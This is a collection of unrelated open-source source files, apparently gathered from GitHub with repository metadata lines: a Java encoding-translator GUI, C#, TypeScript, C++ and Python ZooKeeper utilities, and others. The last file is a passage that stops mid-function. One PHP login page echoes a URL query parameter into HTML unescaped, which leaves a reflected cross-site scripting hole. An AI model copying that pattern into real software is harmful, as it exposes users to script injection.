public void actionPerformed(ActionEvent e) {
if (JFileChooser.APPROVE_OPTION
== fileChooser.showSaveDialog(outTextField)) {
outTextField.setText(
fileChooser.getSelectedFile().getAbsolutePath());
}
}
});
outCharsets.setModel(
new DefaultComboBoxModel<String>(availableCharsets));
outCharsets.setName("outCharsets");
outCharsets.setSelectedItem(DEFAULT_TARGET_ENCODING);
outCharsets.setEditable(false);
JMenu help = new JMenu(RESOURCES.getString("menu.help.text"));
JMenuItem about = new JMenuItem(
RESOURCES.getString("about.label") + '\u2026');
about.addActionListener(new ActionListener() {
@SuppressWarnings("synthetic-access")
@Override
public void actionPerformed(ActionEvent event) {
JOptionPane.showMessageDialog(null,
MessageFormat.format(
RESOURCES.getString("about.message"),
CharacterEncodingTranslator.VERSION),
RESOURCES.getString("about.label"),
JOptionPane.INFORMATION_MESSAGE);
}
});
help.add(about);
menuBar.add(help);
}
/*
* Applies the GUI layout for the application.
*/
private void doLayout(final Container container) {
DimensionHelper.normalizeWidth(inTextField, outTextField);
DimensionHelper.normalizeWidth(inCharsets, outCharsets);
DimensionHelper.normalizeWidth(inButton, outButton);
DimensionHelper.normalizeHeight(inTextField, inButton, inCharsets,
translateButton, outTextField, outButton, outCharsets);
FlowLayout inLayout = new FlowLayout(FlowLayout.LEFT, 5, 10);
inLayout.setAlignOnBaseline(true);
JPanel inPanel = new JPanel(inLayout);
inPanel.add(inTextField);
inPanel.add(inButton);
inPanel.add(inCharsets);
FlowLayout translateLayout = new FlowLayout(FlowLayout.CENTER, 5, 10);
translateLayout.setAlignOnBaseline(true);
JPanel translatePanel = new JPanel(translateLayout);
translatePanel.add(translateButton);
translatePanel.add(xmlCharRefPref);
FlowLayout outLayout = new FlowLayout(FlowLayout.LEFT, 5, 10);
outLayout.setAlignOnBaseline(true);
JPanel outPanel = new JPanel(outLayout);
outPanel.add(outTextField);
outPanel.add(outButton);
outPanel.add(outCharsets);
container.setLayout(new BoxLayout(container, BoxLayout.Y_AXIS));
container.add(inPanel);
container.add(translatePanel);
container.add(outPanel);
}
/*
* Ensures that the specified input and output files are reasonable before
* attempting the translation.
*/
private boolean filesAreAcceptable(File inFile, File outFile) {
if (inFile.getPath().isEmpty()) {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("warning.message.choose_input"),
RESOURCES.getString("warning.title.cant_continue"),
JOptionPane.WARNING_MESSAGE);
return false;
} else if (outFile.getPath().isEmpty()) {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("warning.message.choose_output"),
RESOURCES.getString("warning.title.cant_continue"),
JOptionPane.WARNING_MESSAGE);
return false;
} else if (outFile.equals(inFile)) {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("warning.message.same_input_output"),
RESOURCES.getString("warning.title.cant_continue"),
JOptionPane.WARNING_MESSAGE);
return false;
} else if (!inFile.canRead()) {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("warning.message.input_notfound"),
RESOURCES.getString("warning.title.cant_continue"),
JOptionPane.WARNING_MESSAGE);
return false;
} else if (outFile.exists()) {
return (JOptionPane.YES_OPTION
== JOptionPane.showConfirmDialog(translateButton,
RESOURCES.getString("yesno.message.output_exists"),
RESOURCES.getString("yesno.title.user_input"),
JOptionPane.YES_NO_OPTION));
}
return true;
}
/*
* Performs the translation in a background thread.
*/
private void translate(final File inFile, final String inEncoding,
final File outFile, final String outEncoding)
throws FileNotFoundException {
final ProgressMonitorInputStream monitorStream =
new ProgressMonitorInputStream(translateButton,
RESOURCES.getString("monitor.message.translating"),
new FileInputStream(inFile));
monitorStream.getProgressMonitor().setNote(
inFile.getName() + " \u2192 " + outFile.getName());
final FileOutputStream outStream = new FileOutputStream(outFile);
final SwingWorker<Boolean, Void> task =
new SwingWorker<Boolean, Void>() {
@SuppressWarnings("synthetic-access")
@Override
protected Boolean doInBackground() throws Exception {
CharsetTranslator translator =
new CharsetTranslator(inEncoding, outEncoding);
translator.useXMLCharRefReplacement(
xmlCharRefPref.isSelected());
translator.translate(monitorStream, outStream);
return true;
}
};
task.addPropertyChangeListener(new PropertyChangeListener() {
@SuppressWarnings("synthetic-access")
@Override
public void propertyChange(PropertyChangeEvent event) {
/*
* Swing is not thread-safe, so it is possible that the task is
* actually DONE when the state property is only reporting a
* change from PENDING to STARTED (for a relatively small input
* file, this will almost certainly be the case); to ensure
* that this block is only entered once, both the task state
* _and_ the state property value must be DONE
*/
if ("state".equals(event.getPropertyName())
&& (StateValue.DONE == event.getNewValue())
&& (StateValue.DONE == task.getState())) {
/*
* testing on both Max OS X and Windows 7 shows that
* neither the task nor the monitor actually report being
* canceled when the progress IS canceled; since we can't
* rely on this approach, we need to check explicitly for
* an InterruptedIOException (yuck)
*/
try {
if (task.get()) {
JOptionPane.showMessageDialog(
translateButton,
RESOURCES
.getString("info.message.success"),
RESOURCES
.getString("info.title.translated"),
JOptionPane.INFORMATION_MESSAGE);
}
} catch (ExecutionException ex) {
handleExecutionException(ex);
} catch (InterruptedException ex) {
/*
* should never happen since we're only here if the
* task state is DONE
*/
assert false;
}
translateButton.setText(
RESOURCES.getString("button.text.translate"));
translateButton.setEnabled(true);
}
}
});
task.execute();
translateButton.setEnabled(false);
translateButton.setText(
RESOURCES.getString("monitor.message.translating"));
}
/*
* Displays an appropriate dialog message based on the cause of a failed
* translation.
*/
private final void handleExecutionException(ExecutionException ex) {
Throwable cause = ex.getCause();
if (cause instanceof InterruptedIOException) {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("warning.message.canceled"),
RESOURCES.getString("warning.title.canceled"),
JOptionPane.WARNING_MESSAGE);
} else if (cause instanceof MalformedInputException) {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("error.message.malformed"),
RESOURCES.getString("error.title.failed"),
JOptionPane.ERROR_MESSAGE);
} else if (cause instanceof UnmappableCharacterException) {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("error.message.unmappable"),
RESOURCES.getString("error.title.failed"),
JOptionPane.ERROR_MESSAGE);
} else {
JOptionPane.showMessageDialog(translateButton,
RESOURCES.getString("error.message.other"),
RESOURCES.getString("error.title.failed"),
JOptionPane.ERROR_MESSAGE);
}
}
/**
* Launches <i>Character Encoding Translator</i> as a GUI or console
* application.
*
* <p>
* Without command-line arguments, the application runs as a GUI. With
* command-line arguments, the application runs on the console.
* </p>
*
* <p>
* To run on the console, provide the following positional arguments:
* </p>
*
* <dl>
* <dt><b>"-xmlcharref"</b></dt>
* <dd>(optional) the literal flag "-xmlcharref" enables XML character
* reference replacement</dd>
* <dt><i>source-filename</i></dt>
* <dd>(required) the path to the input file</dd>
* <dt><i>source-encoding</i></dt>
* <dd>(required) the character encoding of the input file</dd>
* <dt><i>target-filename</i></dt>
* <dd>(required) the path to the output file</dd>
* <dt><i>target-encoding</i></dt>
* <dd>(required) the desired character encoding of the output file</dd>
* </dl>
*
* @param args the command-line arguments
* @throws ClassNotFoundException if the L&F class name is not found on
* the CLASSPATH
* @throws InstantiationException if the L&F class cannot be
* instantiated
* @throws IllegalAccessException if the current user does not have
* permission to access the L&F class
* @throws UnsupportedLookAndFeelException if the L&F class name is not
* recognized
*/
public static void main(String[] args)
throws ClassNotFoundException, InstantiationException,
IllegalAccessException, UnsupportedLookAndFeelException {
switch (args.length) {
case 0:
UIManager.setLookAndFeel(
UIManager.getCrossPlatformLookAndFeelClassName());
SwingUtilities.invokeLater(new Runnable() {
@SuppressWarnings("unused")
@Override
public void run() {
new CharacterEncodingTranslator();
}
});
break;
case 4:
/* falls through */
case 5:
boolean useXmlCharRef = "-xmlcharref".equals(args[0]);
int i = useXmlCharRef ? 1 : 0;
String sourceFilename = args[i++];
String sourceEncoding = args[i++];
String targetFilename = args[i++];
String targetEncoding = args[i++];
InputStream sourceStream = null;
OutputStream targetStream = null;
int status = 0;
try {
sourceStream = new FileInputStream(sourceFilename);
targetStream = new FileOutputStream(targetFilename);
(new CharsetTranslator(sourceEncoding, targetEncoding))
.translate(sourceStream, targetStream);
} catch (Exception ex) {
System.err.println(ex.toString());
status = 1;
} finally {
if (targetStream != null) {
try {
targetStream.close();
} catch (IOException ex) {
System.err.println(ex.toString());
}
}
if (sourceStream != null) {
try {
sourceStream.close();
} catch (IOException ex) {
System.err.println(ex.toString());
}
}
}
System.exit(status);
break;
default:
System.err.println(USAGE);
System.exit(1);
}
}
}
| mzipay/CharacterEncodingTranslator | src/main/java/net/ninthtest/CharacterEncodingTranslator.java | Java | mit | 22,210 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace YuGiOh.Bot.Extensions
{
public static class StringJoinExtensions
{
public static string Join(this string[] strArray, char separator)
=> string.Join(separator, strArray);
public static string Join(this string[] strArray, string separator)
=> string.Join(separator, strArray);
public static string Join(this IEnumerable<string> strEnumerable, char separator)
=> string.Join(separator, strEnumerable);
public static string Join(this IEnumerable<string> strEnumerable, string separator)
=> string.Join(separator, strEnumerable);
public static string Join(this char[] strArray, char separator)
=> string.Join(separator, strArray);
public static string Join(this char[] strArray, string separator)
=> string.Join(separator, strArray);
public static string Join(this IEnumerable<char> strEnumerable, char separator)
=> string.Join(separator, strEnumerable);
public static string Join(this IEnumerable<char> strEnumerable, string separator)
=> string.Join(separator, strEnumerable);
}
}
| MeLikeChoco/YuGiOhBot | YuGiOh.Bot/Extensions/StringJoinExtensions.cs | C# | mit | 1,290 |
<?php
if($_GET["errormessage"]){
$message = $_GET["errormessage"];
echo "<p>$message</p>";
}
echo '<table style="width:100%">';
echo '<tr>';
echo '<td width="50%">'; include 'timebank-pages/login.php'; echo '</td>';
echo '<td width="50%">'; include 'timebank-pages/signup.php'; echo '</td>';
echo '</tr>';
echo '</table>';
?> | chris31389/timebank | timebank-pages/login-signup.php | PHP | mit | 399 |
import * as R_dropRepeatsWith from '../ramda/dist/src/dropRepeatsWith';
declare const string_to_number: (x: string) => number;
declare const string_array: string[];
// @dts-jest:pass
R_dropRepeatsWith(string_to_number);
// @dts-jest:pass
R_dropRepeatsWith(string_to_number)(string_array);
// @dts-jest:pass
R_dropRepeatsWith(string_to_number, string_array);
| ikatyang/types-ramda | tests/dropRepeatsWith.ts | TypeScript | mit | 360 |
#ifndef SLG_MESH_HELPERS_HPP
#define SLG_MESH_HELPERS_HPP
#include "glm/glm.hpp"
#include "slg/Mesh.hpp"
#include <vector>
namespace slg {
bool loadObj(const char * filename,
std::vector<glm::vec3> & vertices,
std::vector<glm::vec2> & uvs,
std::vector<glm::vec3> & normals);
void computeTangentBasis(std::vector<glm::vec3> const& vertices,
std::vector<glm::vec2> const& uvs,
std::vector<glm::vec3> const& normals,
std::vector<glm::vec3> & tangents,
std::vector<glm::vec3> & bitangents);
void calculateIndex(std::vector<glm::vec3> const& inVertices,
std::vector<glm::vec2> const& inUvs,
std::vector<glm::vec3> const& inNormals,
std::vector<unsigned short> & outIndices,
std::vector<glm::vec3> & outVertices,
std::vector<glm::vec2> & outUvs,
std::vector<glm::vec3> & outNormals);
void calculateIndex(std::vector<glm::vec3> const& inVertices,
std::vector<glm::vec2> const& inUvs,
std::vector<glm::vec3> const& inNormals,
std::vector<glm::vec3> const& inTangents,
std::vector<glm::vec3> const& inBitangents,
std::vector<unsigned short> & outIndices,
std::vector<glm::vec3> & outVertices,
std::vector<glm::vec2> & outUvs,
std::vector<glm::vec3> & outNormals,
std::vector<glm::vec3> & outTangents,
std::vector<glm::vec3> & outBitangents);
void createQuad(Mesh & mesh, bool inClipSpace);
inline void pushTriangle(std::vector<unsigned short> & data, unsigned short a, unsigned short b, unsigned short c)
{
data.push_back(a);
data.push_back(b);
data.push_back(c);
}
}
#endif
| wibbe/slg | include/slg/MeshHelpers.hpp | C++ | mit | 2,088 |
from __future__ import unicode_literals
from __future__ import print_function
import socket
import time
import six
import math
import threading
from random import choice
import logging
from kazoo.client import KazooClient
from kazoo.client import KazooState
from kazoo.protocol.states import EventType
from kazoo.handlers.threading import KazooTimeoutError
from kazoo.exceptions import OperationTimeoutError
log = logging.getLogger(__name__)
MODE_LEADER = 'leader'
CONNECTION_CACHE_ENABLED = True
CONNECTION_CACHE = {}
def kazoo_client_cache_enable(enable):
"""
You may disable or enable the connection cache using this function.
The connection cache reuses a connection object when the same connection parameters
are encountered that have been used previously. Because of the design of parts of this program
functionality needs to be independent and uncoupled, which means it needs to establish its own
connections.
Connections to Zookeeper are the most time consuming part of most interactions so caching
connections enables much faster running of tests health checks, etc.
"""
global CONNECTION_CACHE_ENABLED
CONNECTION_CACHE_ENABLED = enable
def kazoo_client_cache_serialize_args(kwargs):
'''
Returns a hashable object from keyword arguments dictionary.
This hashable object can be used as the key in another dictionary.
:param kwargs: a dictionary of connection parameters passed to KazooClient
Supported connection parameters::
hosts - Comma-separated list of hosts to connect to (e.g. 127.0.0.1:2181,127.0.0.1:2182,[::1]:2183).
timeout - The longest to wait for a Zookeeper connection.
client_id - A Zookeeper client id, used when re-establishing a prior session connection.
handler - An instance of a class implementing the IHandler interface for callback handling.
default_acl - A default ACL used on node creation.
auth_data - A list of authentication credentials to use for the connection.
Should be a list of (scheme, credential) tuples as add_auth() takes.
read_only - Allow connections to read only servers.
randomize_hosts - By default randomize host selection.
connection_retry - A kazoo.retry.KazooRetry object to use for retrying the connection to
Zookeeper. Also can be a dict of options which will be used for creating one.
command_retry - A kazoo.retry.KazooRetry object to use for the KazooClient.retry() method.
Also can be a dict of options which will be used for creating one.
logger - A custom logger to use instead of the module global log instance.
'''
return frozenset(kwargs.items())
def kazoo_client_cache_get(kwargs):
if CONNECTION_CACHE_ENABLED:
return CONNECTION_CACHE.get(kazoo_client_cache_serialize_args(kwargs))
def kazoo_client_cache_put(kwargs, client):
global CONNECTION_CACHE
CONNECTION_CACHE[kazoo_client_cache_serialize_args(kwargs)] = client
def kazoo_clients_connect(clients, timeout=5, continue_on_error=False):
"""
Connect the provided Zookeeper client asynchronously.
This is the fastest way to connect multiple clients while respecting a timeout.
:param clients: a sequence of KazooClient objects or subclasses of.
:param timeout: connection timeout in seconds
:param continue_on_error: don't raise exception if SOME of the hosts were able to connect
"""
asyncs = []
for client in clients:
# returns immediately
asyncs.append(client.start_async())
tstart = time.time()
while True:
elapsed = time.time() - tstart
remaining = math.ceil(max(0, timeout - elapsed))
connecting = [async for idx, async in enumerate(asyncs) if not clients[idx].connected]
connected_ct = len(clients) - len(connecting)
if not connecting:
# successful - all hosts connected
return connected_ct
if not remaining:
# stop connection attempt for any client that timed out.
for client in clients:
if client.connected:
continue
else:
client.stop()
if len(connecting) < len(clients):
# if some of the clients connected, return the ones that are connected
msg = 'Connection Timeout - %d of %d clients timed out after %d seconds' % (
len(connecting),
len(clients),
timeout
)
if continue_on_error:
log.warn(msg)
return connected_ct
else:
OperationTimeoutError(msg)
raise OperationTimeoutError('All hosts timed out after %d secs' % timeout)
# Wait the remaining amount of time to connect
# note that this will wait UP TO remaining, but will only wait as long as it takes
# to connect.
connecting[0].wait(remaining)
def kazoo_clients_from_client(kazoo_client):
"""
Construct a series of KazooClient connection objects from a single KazooClient instance
A client will be constructed per host within the KazooClient, so if the KazooClient was
constructed with 3 hosts in its connection string, 3 KazooClient instanctes will be returned
The class constructed will be the same type as is passed in kazoo_client, this functionality
is so that this method will work with mocked connection objects or customized subclasses of
KazooClient.
"""
# TODO support all connection arguments
connection_strings = zk_conns_from_client(kazoo_client)
cls = kazoo_client.__class__
clients = []
for conn_str in connection_strings:
args = {'hosts': conn_str}
client = kazoo_client_cache_get(args)
if not client:
client = cls(**args)
kazoo_client_cache_put(args, client)
clients.append(client)
return clients
def get_leader(zk_hosts):
# TODO refactor me to accept KazooClient object.
for host in zk_hosts:
zk = KazooClient(hosts=host, read_only=True)
try:
zk.start()
except KazooTimeoutError as e:
print('ZK Timeout host: [%s], %s' % (host, e))
continue
properties_str = zk.command(cmd=b'srvr')
properties = properties_str.split('\n')
for line in properties:
if not line.strip().lower().startswith('mode:'):
continue
key, val = line.split(':')
if val.strip().lower() == MODE_LEADER:
return host
zk.stop()
raise RuntimeError('no leader available, from connections given')
def get_server_by_id(zk_hosts, server_id):
# TODO refactor me to accept KazooClient object.
if not isinstance(server_id, int):
raise ValueError('server_id must be int, got: %s' % type(server_id))
for host in zk_hosts:
zk = KazooClient(hosts=host, read_only=True)
try:
zk.start()
except KazooTimeoutError as e:
print('ZK Timeout host: [%s], %s' % (host, e))
continue
properties_str = zk.command(cmd=b'conf')
properties = properties_str.split('\n')
for line in properties:
if not line.strip().lower().startswith('serverid='):
continue
key, val = line.split('=')
val = int(val)
if val == server_id:
return host
continue
zk.stop()
raise ValueError("no host available with that server id [%d], from connections given" % server_id)
def zk_conn_from_client(kazoo_client):
"""
Make a Zookeeper connection string from a KazooClient instance
"""
hosts = kazoo_client.hosts
chroot = kazoo_client.chroot
return zk_conn_from_hosts(hosts, chroot)
def zk_conns_from_client(kazoo_client):
"""
Make a Zookeeper connection string per-host from a KazooClient instance
"""
hosts = kazoo_client.hosts
chroot = kazoo_client.chroot
return zk_conns_from_hosts(hosts, chroot)
def zk_conn_from_hosts(hosts, chroot=None):
"""
Make a Zookeeper connection string from a list of (host,port) tuples.
"""
if chroot and not chroot.startswith('/'):
chroot = '/' + chroot
return ','.join(['%s:%s' % (host,port) for host, port in hosts]) + chroot or ''
def zk_conns_from_hosts(hosts, chroot=None):
"""
Make a list of Zookeeper connection strings one her host.
"""
if chroot and not chroot.startswith('/'):
chroot = '/' + chroot
return ['%s:%s' % (host,port) + chroot or '' for host, port in hosts]
def parse_zk_conn(zookeepers):
"""
Parse Zookeeper connection string into a list of fully qualified connection strings.
"""
zk_hosts, root = zookeepers.split('/') if len(zookeepers.split('/')) > 1 else (zookeepers, None)
zk_hosts = zk_hosts.split(',')
root = '/'+root if root else ''
all_hosts_list = [h+root for h in zk_hosts]
return all_hosts_list
def parse_zk_hosts(zookeepers, all_hosts=False, leader=False, server_id=None):
"""
Returns [host1, host2, host3]
Default behavior is to return a single host from the list chosen by random (a list of 1)
:param all_hsots: if true, all hosts will be returned in a list
:param leader: if true, return the ensemble leader host
:param server_id: if provided, return the host with this server id (integer)
"""
zk_hosts, root = zookeepers.split('/') if len(zookeepers.split('/')) > 1 else (zookeepers, None)
zk_hosts = zk_hosts.split(',')
root = '/'+root if root else ''
all_hosts_list = [h+root for h in zk_hosts]
if leader:
zk_hosts = [get_leader(zk_hosts)]
elif server_id:
zk_hosts = [get_server_by_id(zk_hosts, server_id)]
# make a list of each host individually, so they can be queried one by one for statistics.
elif all_hosts:
zk_hosts = all_hosts_list
# otherwise pick a single host to query by random.
else:
zk_hosts = [choice(zk_hosts) + root]
return zk_hosts
def text_type(string, encoding='utf-8'):
"""
Given text, or bytes as input, return text in both python 2/3
This is needed because the arguments to six.binary_type and six.text_type change based on
if you are passing it text or bytes, and if you simply pass bytes to
six.text_type without an encoding you will get output like: ``six.text_type(b'hello-world')``
which is not desirable.
"""
if isinstance(string, six.text_type):
return six.text_type(string)
else:
return six.text_type(string, encoding)
netcat_lock = threading.Lock()
def netcat(hostname, port, content, timeout=5):
"""
Operate similary to netcat command in linux (nc).
Thread safe implementation
"""
# send the request
content = six.binary_type(content)
try:
with netcat_lock:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((hostname, int(port)))
sock.settimeout(timeout)
sock.sendall(content)
except socket.timeout as e:
raise IOError("connect timeout: %s calling [%s] on [%s]" % (e, content, hostname))
except socket.error as e: # subclass of IOError
raise IOError("connect error: %s calling [%s] on [%s]" % (e, content, hostname))
response = ''
started = time.time()
while True:
if time.time() - started >= timeout:
raise IOError("timed out retrieving data from: %s" % hostname)
# receive the response
try:
# blocks until there is data on the socket
with netcat_lock:
msg = sock.recv(1024)
response += text_type(msg)
except socket.timeout as e:
raise IOError("%s calling [%s] on [%s]" % (e, content, hostname))
except socket.error as e:
raise IOError("%s calling [%s] on [%s]" % (e, content, hostname))
if len(msg) == 0:
try:
with netcat_lock:
sock.shutdown(socket.SHUT_RDWR)
sock.close()
except OSError:
pass
finally:
break
response = text_type(response)
return response
| bendemott/solr-zkutil | solrzkutil/util.py | Python | mit | 13,103 |
namespace XpoTests
{
public enum MyEnum
{
Red = 0,
Green = 1,
Blue = 2
}
}
| ZeroSharp/XpoBatch | XpoTests/Objects/MyEnum.cs | C# | mit | 112 |
package enums
import (
"encoding/json"
"fmt"
)
type VoiceType int
const (
VoiceType_FM VoiceType = iota
VoiceType_PCM
VoiceType_AL
)
func (t VoiceType) String() string {
s := "unknown"
switch t {
case 0:
s = "FM"
case 1:
s = "PCM"
case 2:
s = "AL"
}
return fmt.Sprintf("%s(%d)", s, t)
}
func (t VoiceType) MarshalJSON() ([]byte, error) {
return json.Marshal(t.String())
}
type Algorithm int
func (a Algorithm) String() string {
s := "unknown"
switch a {
case 0:
s = "FB(1)->2"
case 1:
s = "FB(1) + 2"
case 2:
s = "FB(1) + 2 + FB(3) + 4"
case 3:
s = "(FB(1) + 2->3) -> 4"
case 4:
s = "FB(1)->2->3->4"
case 5:
s = "FB(1)->2 + FB(3)->4"
case 6:
s = "FB(1) + 2->3->4"
case 7:
s = "FB(1) + 2->3 + 4"
}
return fmt.Sprintf("%d[ %s ]", int(a), s)
}
func (a Algorithm) OperatorCount() int {
if int(a) < 2 {
return 2
} else {
return 4
}
}
type BasicOctave int
const (
BasicOctave_Normal BasicOctave = 1
)
func (o BasicOctave) String() string {
switch o {
case 0:
return "1"
case 1:
return "0"
case 2:
return "-1"
case 3:
return "-2"
}
return "undefined"
}
func (o BasicOctave) NoteDiff() Note {
switch o {
case 0:
return Note(1 * 12)
case 2:
return Note(-1 * 12)
case 3:
return Note(-2 * 12)
default:
return Note(0 * 12)
}
}
type Panpot int
const (
Panpot_Center Panpot = 15
)
func (p Panpot) String() string {
v := int(p)
if v == 15 {
return "C"
} else if 0 <= v && v < 15 {
return fmt.Sprintf("L%d", 15-v)
} else if 15 < v && v < 32 {
return fmt.Sprintf("R%d", v-15)
} else {
return "undefined"
}
}
type Multiplier int
func (m Multiplier) String() string {
if m == 0 {
return "1/2"
} else {
return fmt.Sprintf("%d", m)
}
}
| but80/smaf825 | smaf/enums/voice.go | GO | mit | 1,737 |
using UnityEngine;
using System.Collections;
using System.Collections.Generic;
public class CoinGenerator : MonoBehaviour {
public ObjectPooler coinPool;
public float coinMargins;
public void SpawnCoins(int coinAmount, Vector3 origin, float platformWidth)
{
if (coinAmount > 0)
{
List<GameObject> coins = coinPool.GetPooledObjects(coinAmount);
if (coins.Count < coinAmount)
{
Debug.LogError("Object pooler failed to return requested amount of objects! : " + coinAmount.ToString() + ", " + origin.ToString() + ", " + platformWidth.ToString() + ", " + coins.Count.ToString());
}
float adjustedWidth = platformWidth - coinMargins * 2;
float offset = coinAmount > 1 ? -(adjustedWidth / 2) : 0;
for (int i = 0; i < coins.Count; i++)
{
GameObject coin = coins[i];
coin.transform.position = new Vector3(origin.x + offset, origin.y, origin.z);
coin.SetActive(true);
if (coins.Count > 1)
{
offset += adjustedWidth / (coins.Count - 1);
}
}
}
}
}
| jolly-llama-games/bionic-salamander | Assets/Scripts/CoinGenerator.cs | C# | mit | 1,221 |
#pragma once
#include <cstddef>
#include <ostream>
#include <utility>
#include <vector>
#include <insertionfinder/algorithm.hpp>
namespace InsertionFinder {class Solution;};
std::ostream& operator<<(std::ostream&, const InsertionFinder::Solution&);
namespace InsertionFinder {
struct Insertion {
Algorithm skeleton;
std::size_t insert_place;
const Algorithm* insertion;
explicit Insertion(
const Algorithm& skeleton,
std::size_t insert_place = 0,
const Algorithm* insertion = nullptr
): skeleton(skeleton), insert_place(insert_place), insertion(insertion) {}
explicit Insertion(
Algorithm&& skeleton,
std::size_t insert_place = 0,
const Algorithm* insertion = nullptr
): skeleton(std::move(skeleton)), insert_place(insert_place), insertion(insertion) {}
void print(std::ostream& out, std::size_t index) const;
};
struct Solution;
struct MergedInsertion {
struct SubInsertion {
const Algorithm* insertion;
std::size_t order;
};
Algorithm skeleton;
Algorithm final_solution;
std::vector<std::pair<std::size_t, std::vector<std::size_t>>> insert_places;
std::vector<Algorithm> insertions;
std::vector<std::pair<std::size_t, std::vector<SubInsertion>>> get_insertions() const;
void print(std::ostream& out, std::size_t initial_order, const Solution& solution) const;
};
struct Solution {
Algorithm final_solution;
std::vector<Insertion> insertions;
std::size_t cancellation = 0;
Solution(const Algorithm& final_solution): final_solution(final_solution) {}
Solution(const Algorithm& final_solution, const std::vector<Insertion>& insertions):
final_solution(final_solution), insertions(insertions) {}
Solution(const Algorithm& final_solution, std::vector<Insertion>&& insertions):
final_solution(final_solution), insertions(std::move(insertions)) {}
std::vector<MergedInsertion> merge_insertions(const Algorithm& skeleton) const;
void print(std::ostream& out, const std::vector<MergedInsertion>& merged_insertions) const;
};
};
| xuanyan0x7c7/insertionfinder | include/insertionfinder/insertion.hpp | C++ | mit | 2,266 |
/*########################################################################
*# #
*# Copyright (c) 2014 by #
*# Shanghai Stock Exchange (SSE), Shanghai, China #
*# All rights reserved. #
*# #
*########################################################################
*/
package sse.ngts.common.plugin.step.business;
import sse.ngts.common.plugin.step.*;
import sse.ngts.common.plugin.step.field.*;
public class QuoteCancel extends Message {
private static final long serialVersionUID = 20130819;
public static final String MSGTYPE = "Z";
public QuoteCancel() {
super();
getHeader().setField(new MsgType(MSGTYPE));
}
public QuoteCancel(int[] fieldOrder) {
super(fieldOrder);
getHeader().setField(new MsgType(MSGTYPE));
}
public void set(OrderQty value) {
setField(value);
}
public OrderQty get(OrderQty value) throws FieldNotFound {
getField(value);
return value;
}
public OrderQty getOrderQty() throws FieldNotFound {
OrderQty value = new OrderQty();
getField(value);
return value;
}
public boolean isSet(OrderQty field) {
return isSetField(field);
}
public boolean isSetOrderQty() {
return isSetField(OrderQty.FIELD);
}
public void set(OrigClOrdID value) {
setField(value);
}
public OrigClOrdID get(OrigClOrdID value) throws FieldNotFound {
getField(value);
return value;
}
public OrigClOrdID getOrigClOrdID() throws FieldNotFound {
OrigClOrdID value = new OrigClOrdID();
getField(value);
return value;
}
public boolean isSet(OrigClOrdID field) {
return isSetField(field);
}
public boolean isSetOrigClOrdID() {
return isSetField(OrigClOrdID.FIELD);
}
public void set(SecurityID value) {
setField(value);
}
public SecurityID get(SecurityID value) throws FieldNotFound {
getField(value);
return value;
}
public SecurityID getSecurityID() throws FieldNotFound {
SecurityID value = new SecurityID();
getField(value);
return value;
}
public boolean isSet(SecurityID field) {
return isSetField(field);
}
public boolean isSetSecurityID() {
return isSetField(SecurityID.FIELD);
}
public void set(Side value) {
setField(value);
}
public Side get(Side value) throws FieldNotFound {
getField(value);
return value;
}
public Side getSide() throws FieldNotFound {
Side value = new Side();
getField(value);
return value;
}
public boolean isSet(Side field) {
return isSetField(field);
}
public boolean isSetSide() {
return isSetField(Side.FIELD);
}
public void set(Text value) {
setField(value);
}
public Text get(Text value) throws FieldNotFound {
getField(value);
return value;
}
public Text getText() throws FieldNotFound {
Text value = new Text();
getField(value);
return value;
}
public boolean isSet(Text field) {
return isSetField(field);
}
public boolean isSetText() {
return isSetField(Text.FIELD);
}
public void set(TradeDate value) {
setField(value);
}
public TradeDate get(TradeDate value) throws FieldNotFound {
getField(value);
return value;
}
public TradeDate getTradeDate() throws FieldNotFound {
TradeDate value = new TradeDate();
getField(value);
return value;
}
public boolean isSet(TradeDate field) {
return isSetField(field);
}
public boolean isSetTradeDate() {
return isSetField(TradeDate.FIELD);
}
public void set(QuoteID value) {
setField(value);
}
public QuoteID get(QuoteID value) throws FieldNotFound {
getField(value);
return value;
}
public QuoteID getQuoteID() throws FieldNotFound {
QuoteID value = new QuoteID();
getField(value);
return value;
}
public boolean isSet(QuoteID field) {
return isSetField(field);
}
public boolean isSetQuoteID() {
return isSetField(QuoteID.FIELD);
}
public void set(OrderQty2 value) {
setField(value);
}
public OrderQty2 get(OrderQty2 value) throws FieldNotFound {
getField(value);
return value;
}
public OrderQty2 getOrderQty2() throws FieldNotFound {
OrderQty2 value = new OrderQty2();
getField(value);
return value;
}
public boolean isSet(OrderQty2 field) {
return isSetField(field);
}
public boolean isSetOrderQty2() {
return isSetField(OrderQty2.FIELD);
}
public void set(NoPartyIDs value) {
setField(value);
}
public NoPartyIDs get(NoPartyIDs value) throws FieldNotFound {
getField(value);
return value;
}
public NoPartyIDs getNoPartyIDs() throws FieldNotFound {
NoPartyIDs value = new NoPartyIDs();
getField(value);
return value;
}
public boolean isSet(NoPartyIDs field) {
return isSetField(field);
}
public boolean isSetNoPartyIDs() {
return isSetField(NoPartyIDs.FIELD);
}
}
| zkkz/OrientalExpress | source/step/src/sse/ngts/common/plugin/step/business/QuoteCancel.java | Java | mit | 5,629 |
<?php
/**
* Created by PhpStorm.
* User: Nali
* Date: 04/10/2014
* Time: 13:12
*/ | martinkubat/AnyMirror | othercrunch.php | PHP | mit | 87 |
'use strict';
var angular = require('angular');
var calendarUtils = require('calendar-utils');
angular
.module('mwl.calendar')
.controller('MwlCalendarHourListCtrl', function($scope, $document, moment, calendarHelper) {
var vm = this;
// source: http://stackoverflow.com/questions/13382516/getting-scroll-bar-width-using-javascript
function getScrollbarWidth() {
var outer = $document[0].createElement('div');
outer.style.visibility = 'hidden';
outer.style.width = '100px';
outer.style.msOverflowStyle = 'scrollbar'; // needed for WinJS apps
$document[0].body.appendChild(outer);
var widthNoScroll = outer.offsetWidth;
// force scrollbars
outer.style.overflow = 'scroll';
// add innerdiv
var inner = $document[0].createElement('div');
inner.style.width = '100%';
outer.appendChild(inner);
var widthWithScroll = inner.offsetWidth;
// remove divs
outer.parentNode.removeChild(outer);
return widthNoScroll - widthWithScroll;
}
vm.scrollBarWidth = getScrollbarWidth();
function updateDays() {
